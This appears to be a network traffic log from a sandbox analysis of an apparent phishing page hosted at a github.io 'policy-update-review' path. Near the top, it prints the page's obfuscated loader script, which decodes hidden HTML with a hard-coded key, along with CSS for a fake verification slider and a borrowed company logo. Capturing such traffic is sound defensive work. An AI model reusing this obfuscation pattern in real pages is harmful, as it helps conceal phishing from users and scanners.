2024-12-17 23:28:38 UTC	731	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3146 Server: GitHub.com Content-Type: text/html; charset=utf-8 permissions-policy: interest-cohort=() Last-Modified: Tue, 17 Dec 2024 19:16:51 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "6761ce23-c4a" expires: Tue, 17 Dec 2024 23:38:38 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: AEB9:F8CE3:D21048:E7F2FD:67620926 Accept-Ranges: bytes Age: 0 Date: Tue, 17 Dec 2024 23:28:38 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740026-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734478119.802895,VS0,VE31 Vary: Accept-Encoding X-Fastly-Request-ID: 71dad0b05454e5f04bb51c0c4448ceb719a04967
2024-12-17 23:28:38 UTC	1378	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4f 62 66 75 73 63 61 74 65 64 20 48 54 4d 4c 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 76 61 72 20 6b 65 79 20 3d 20 22 73 65 63 72 65 74 6b 65 79 22 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 65 6e 63 6f 64 65 64 48 74 6d 6c 20 3d 20 22 54 30 51 6e 50 53 59 67 4d 6a 55 38 55 77 30 58 48 77 6c 4b 59 56 6b 52 42 77 67 50 55 67 6b 56 42 51 4a 45 55 51 41 4e 55 46 74 2b 56 77 30 63 45 67 46 64 65 45 56 55 53 30 56 46 48 67 41 58 45 30 55 58 41 77 51 4c 41 41 41 58 54 30 63 68 50 79 4e 55 53 30 64 64 65 45 56 55 53 30 56 46 48 67 41 58 45 30 55 61 Data Ascii: <!DOCTYPE html><html><head> <title>Obfuscated HTML</title></head><body> <script> var key = "secretkey"; var encodedHtml = "T0QnPSYgMjU8Uw0XHwlKYVkRBwgPUgkVBQJEUQANUFt+Vw0cEgFdeEVUS0VFHgAXE0UXAwQLAAAXT0chPyNUS0ddeEVUS0VFHgAXE0Ua
2024-12-17 23:28:38 UTC	1378	IN	Data Raw: 44 55 6b 56 49 41 6b 55 61 48 77 51 51 41 56 68 57 44 51 51 4b 55 77 4d 43 58 77 51 47 47 51 6f 4f 58 68 63 4b 46 51 30 41 53 56 74 46 58 41 78 64 65 45 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 56 30 6f 64 47 68 4e 64 65 45 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 56 77 45 51 42 55 55 41 48 67 51 48 47 46 68 62 41 41 6b 4b 46 67 41 47 52 68 45 63 43 78 46 42 54 44 59 59 41 67 45 63 55 78 45 4d 55 68 4d 52 47 51 77 66 43 6c 6c 4d 46 67 77 43 56 57 39 5a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 56 30 6f 64 47 68 4e 64 65 45 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 30 56 66 46 67 77 43 53 77 59 56 45 68 59 51 54 30 63 48 42 77 77 64 46 68 64 4f 47 67 Data Ascii: DUkVIAkUaHwQQAVhWDQQKUwMCXwQGGQoOXhcKFQ0ASVtFXAxdeEVUS0VZU0VDUkVUS0VZU0VDUkVUV0odGhNdeEVUS0VZU0VDUkVUS0VZU0VDUkVUVwEQBUUAHgQHGFhbAAkKFgAGRhEcCxFBTDYYAgEcUxEMUhMRGQwfCllMFgwCVW9ZU0VDUkVUS0VZU0VDUkVUV0odGhNdeEVUS0VZU0VDUkVUS0VZU0VfFgwCSwYVEhYQT0cHBwwdFhdOGg
2024-12-17 23:28:38 UTC	390	IN	Data Raw: 41 45 4b 42 46 74 2b 53 30 56 5a 55 30 56 44 55 6b 56 49 52 41 45 51 42 56 74 70 55 6b 56 55 53 31 6c 57 46 77 77 56 54 47 39 2b 53 30 56 5a 55 31 6b 51 45 52 63 64 47 78 46 5a 41 42 63 41 54 30 63 63 48 78 45 4a 41 46 39 4d 58 52 49 44 48 45 73 56 45 68 63 49 42 78 5a 61 43 67 70 57 45 67 73 4b 48 77 51 59 52 42 59 61 41 51 77 54 42 6b 73 65 47 45 64 48 54 30 6f 51 45 52 63 64 47 78 46 48 65 56 6c 4d 45 41 6f 51 45 6c 74 7a 54 30 6f 4c 42 67 67 59 56 51 3d 3d 22 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 65 63 72 79 70 74 65 64 48 74 6d 6c 20 3d 20 61 74 6f 62 28 65 6e 63 6f 64 65 64 48 74 6d 6c 29 2e 73 70 6c 69 74 28 22 22 29 2e 6d 61 70 28 28 63 2c 20 69 29 20 3d 3e 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 Data Ascii: AEKBFt+S0VZU0VDUkVIRAEQBVtpUkVUS1lWFwwVTG9+S0VZU1kQERcdGxFZABcAT0ccHxEJAF9MXRIDHEsVEhcIBxZaCgpWEgsKHwQYRBYaAQwTBkseGEdHT0oQERcdGxFHeVlMEAoQEltzT0oLBggYVQ=="; var decryptedHtml = atob(encodedHtml).split("").map((c, i) => String.fromCha

Timestamp	Bytes transferred	Direction	Data
2024-12-17 23:28:39 UTC	662	OUT	GET /policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/style.css HTTP/1.1 Host: roadmap27.github.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 23:28:39 UTC	753	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4302 Server: GitHub.com Content-Type: text/css; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Tue, 17 Dec 2024 19:16:51 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "6761ce23-10ce" expires: Tue, 17 Dec 2024 23:38:39 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: 0A07:1DF966:D05483:E5B2FD:67620927 Accept-Ranges: bytes Age: 0 Date: Tue, 17 Dec 2024 23:28:39 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740054-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734478119.227723,VS0,VE36 Vary: Accept-Encoding X-Fastly-Request-ID: 5b3917cf0714902bfbe1d705645768ac20b3fde9
2024-12-17 23:28:39 UTC	1378	IN	Data Raw: 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 0a 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 53 65 67 6f 65 20 55 49 27 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 36 3b 0a 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 7d 0a 0a 2e 76 65 72 69 66 69 63 61 74 69 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 20 20 20 20 64 69 Data Ascii: * { margin: 0; padding: 0; box-sizing: border-box;}body { font-family: 'Segoe UI', Arial, sans-serif; background-color: #f5f5f5; line-height: 1.6; min-height: 100vh;}.verification-container { min-height: 100vh; di
2024-12-17 23:28:39 UTC	1378	IN	Data Raw: 35 72 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 72 65 6d 3b 0a 7d 0a 0a 2f 2a 20 53 6c 69 64 65 72 20 53 74 79 6c 65 73 20 2a 2f 0a 2e 73 6c 69 64 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 34 38 70 78 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 35 66 35 66 35 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 34 70 78 3b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 65 30 65 30 65 30 3b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 20 20 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a Data Ascii: 5rem; font-size: 0.9rem;}/* Slider Styles */.slider-container { position: relative; height: 48px; background: #f5f5f5; border-radius: 24px; border: 1px solid #e0e0e0; overflow: hidden; cursor: pointer; touch-action:
2024-12-17 23:28:39 UTC	1378	IN	Data Raw: 64 69 6e 67 3a 20 31 72 65 6d 20 30 3b 0a 7d 0a 0a 2e 6c 6f 61 64 65 72 2d 72 69 6e 67 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 33 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 33 70 78 20 73 6f 6c 69 64 20 23 30 30 37 38 44 34 3b 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 31 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 2e 35 72 65 6d 3b 0a 7d 0a 0a 2e Data Ascii: ding: 1rem 0;}.loader-ring { display: inline-block; width: 30px; height: 30px; border: 3px solid #f3f3f3; border-radius: 50%; border-top: 3px solid #0078D4; animation: spin 1s linear infinite; margin-bottom: 0.5rem;}.
2024-12-17 23:28:39 UTC	168	IN	Data Raw: 6e 65 63 74 69 6f 6e 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 20 20 20 20 20 20 20 20 67 61 70 3a 20 30 2e 35 72 65 6d 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 6c 6f 67 6f 5b 73 72 63 2a 3d 22 6c 6f 67 6f 2e 63 6c 65 61 72 62 69 74 2e 63 6f 6d 22 5d 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 38 30 70 78 3b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 32 36 30 70 78 3b 0a 20 20 20 20 7d 0a 7d Data Ascii: nection-info { flex-direction: column; gap: 0.5rem; } .logo[src*="logo.clearbit.com"] { height: 80px; max-width: 260px; }}

Timestamp	Bytes transferred	Direction	Data
2024-12-17 23:28:40 UTC	713	OUT	GET /policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/image/logo.png HTTP/1.1 Host: roadmap27.github.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 23:28:40 UTC	717	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1057 Server: GitHub.com Content-Type: image/png permissions-policy: interest-cohort=() Last-Modified: Tue, 17 Dec 2024 19:16:51 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "6761ce23-421" expires: Tue, 17 Dec 2024 23:38:40 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: 52AC:2AB979:C77525:D70AD0:67620928 Accept-Ranges: bytes Age: 0 Date: Tue, 17 Dec 2024 23:28:40 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890095-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734478121.572566,VS0,VE62 Vary: Accept-Encoding X-Fastly-Request-ID: 64347492174c4468fcbc52d2bfe562b496e591eb
2024-12-17 23:28:40 UTC	1057	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 d3 49 44 41 54 68 de ed 58 4d 4e db 50 10 fe 5c b1 45 f1 0d 92 f6 02 b8 27 20 2c da 2d e9 ba 8b 24 27 c0 48 b3 8f d9 8f 14 73 02 8c d4 ae 31 db 76 51 e7 06 c9 01 aa 9a 13 34 e9 05 d2 cd 0c 1a 06 1b 0c 2d c2 91 3c 92 17 ef f9 fd cc 7b df fc 7c f3 82 3f a3 77 5b 34 94 fd ab 9f 41 f2 3d 68 3c 3e f9 b0 0d d0 c9 7f 95 37 dd 15 74 80 75 f2 82 b2 d7 5d 41 7b 84 88 26 00 06 d2 2c 98 b9 68 05 60 44 34 00 30 31 5d 95 ca d5 1c 04 cc 9c 48 7f 26 fd c9 43 f3 77 00 a8 10 40 01 e0 c0 fd 2a da e2 61 03 00 33 d3 be 03 48 c5 61 52 00 3d cb 67 88 28 02 30 d6 36 80 e1 0e 3b 57 6c c0 da 00 58 02 58 cb f9 47 Data Ascii: PNGIHDRlpHYs~IDAThXMNP\E' ,-$'Hs1vQ4-<{\|?w[4A=h<>7tu]A{&,h`D401]H&Cw@*a3HaR=g(06;WlXXG

Timestamp	Bytes transferred	Direction	Data
2024-12-17 23:28:40 UTC	581	OUT	GET /ajax/libs/font-awesome/6.0.0/css/all.min.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://roadmap27.github.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 23:28:40 UTC	944	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 23:28:40 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"620188b3-468e" Last-Modified: Mon, 07 Feb 2022 21:01:39 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 422668 Expires: Sun, 07 Dec 2025 23:28:40 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kNNw7oTkDNS7pljXLc5vL52YP%2Fah4IlSTlN8AJXwDlshYyVlN1T8Ee3RnDvwpHhhPSUuSXaQR0eGW3LgX9LtvPv9ckfVGrcj%2BCVzpaGMqISraau%2F3yexH8bhcv1O4XTZc9OX0YCG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f3ab0de59b8184d-EWR alt-svc: h3=":443"; ma=86400
2024-12-17 23:28:40 UTC	425	IN	Data Raw: 37 63 30 30 0d 0a 2f 2a 21 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 36 2e 30 2e 30 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 32 20 46 6f 6e 74 69 63 6f 6e 73 2c 20 49 6e 63 2e 0a 20 2a 2f 0a 2e 66 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 66 61 2d 73 74 79 6c 65 Data Ascii: 7c00/! Font Awesome Free 6.0.0 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) * Copyright 2022 Fonticons, Inc. */.fa{font-family:var(--fa-style
2024-12-17 23:28:40 UTC	1369	IN	Data Raw: 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 64 69 73 70 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 64 69 73 70 6c 61 79 2c 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 29 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 3a 61 75 74 6f 7d 2e 66 61 2d 31 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 2e 66 61 2d 32 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 7d 2e 66 61 2d 33 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 65 6d 7d 2e 66 61 2d 34 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 65 6d 7d Data Ascii: font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}
2024-12-17 23:28:40 UTC	1369	IN	Data Raw: 75 6c 6c 2d 6d 61 72 67 69 6e 2c 2e 33 65 6d 29 7d 2e 66 61 2d 62 65 61 74 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 2c 30 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 2c 30 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 2c 6e 6f 72 6d 61 6c 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 Data Ascii: ull-margin,.3em)}.fa-beat{-webkit-animation-name:fa-beat;animation-name:fa-beat;-webkit-animation-delay:var(--fa-animation-delay,0);animation-delay:var(--fa-animation-delay,0);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-dire
2024-12-17 23:28:40 UTC	1369	IN	Data Raw: 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2c 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 32 38 2c 2e 38 34 2c 2e 34 32 2c 31 29 29 7d 2e 66 61 2d 66 61 64 65 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 66 61 64 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 66 61 64 65 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 Data Ascii: imation-timing,cubic-bezier(.28,.84,.42,1))}.fa-fade{-webkit-animation-name:fa-fade;animation-name:fa-fade;-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite
2024-12-17 23:28:40 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 2c 6e 6f 72 6d 61 6c 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 2c 6e 6f 72 6d 61 6c 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 31 73 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 31 73 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 Data Ascii: ection,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infi
2024-12-17 23:28:40 UTC	1369	IN	Data Raw: 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2c 6c 69 6e 65 61 72 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2c 6c 69 6e 65 61 72 29 7d 2e 66 61 2d 73 70 69 6e 2d 72 65 76 Data Ascii: ar(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,linear);animation-timing-function:var(--fa-animation-timing,linear)}.fa-spin-rev
2024-12-17 23:28:40 UTC	1369	IN	Data Raw: 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 73 63 61 6c 65 2c 31 2e 32 35 29 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 65 61 74 7b 30 25 2c 39 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 34 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 73 63 61 6c 65 2c 31 2e 32 35 29 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 73 63 61 6c 65 2c 31 2e 32 35 29 29 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 6f 75 6e 63 65 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 Data Ascii: ransform:scale(var(--fa-beat-scale,1.25))}}@keyframes fa-beat{0%,90%{-webkit-transform:scale(1);transform:scale(1)}45%{-webkit-transform:scale(var(--fa-beat-scale,1.25));transform:scale(var(--fa-beat-scale,1.25))}}@-webkit-keyframes fa-bounce{0%{-webkit-t
2024-12-17 23:28:40 UTC	1369	IN	Data Raw: 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 31 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 6f 75 6e 63 65 2d 73 74 61 72 74 2d 73 63 61 6c 65 2d 78 2c 31 2e 31 29 2c 76 61 72 28 2d 2d 66 61 2d 62 6f 75 6e 63 65 2d 73 74 61 72 74 2d 73 63 61 6c 65 2d 79 2c 2e 39 29 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 6f 75 6e 63 65 2d 73 74 61 72 74 2d 73 63 61 6c 65 2d 78 2c 31 2e 31 29 2c 76 61 72 28 2d 2d 66 61 2d 62 6f 75 6e 63 65 2d 73 74 61 72 74 2d 73 63 61 6c 65 2d 79 2c 2e 39 29 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 33 30 25 7b 2d 77 65 62 6b 69 Data Ascii: transform:scale(1) 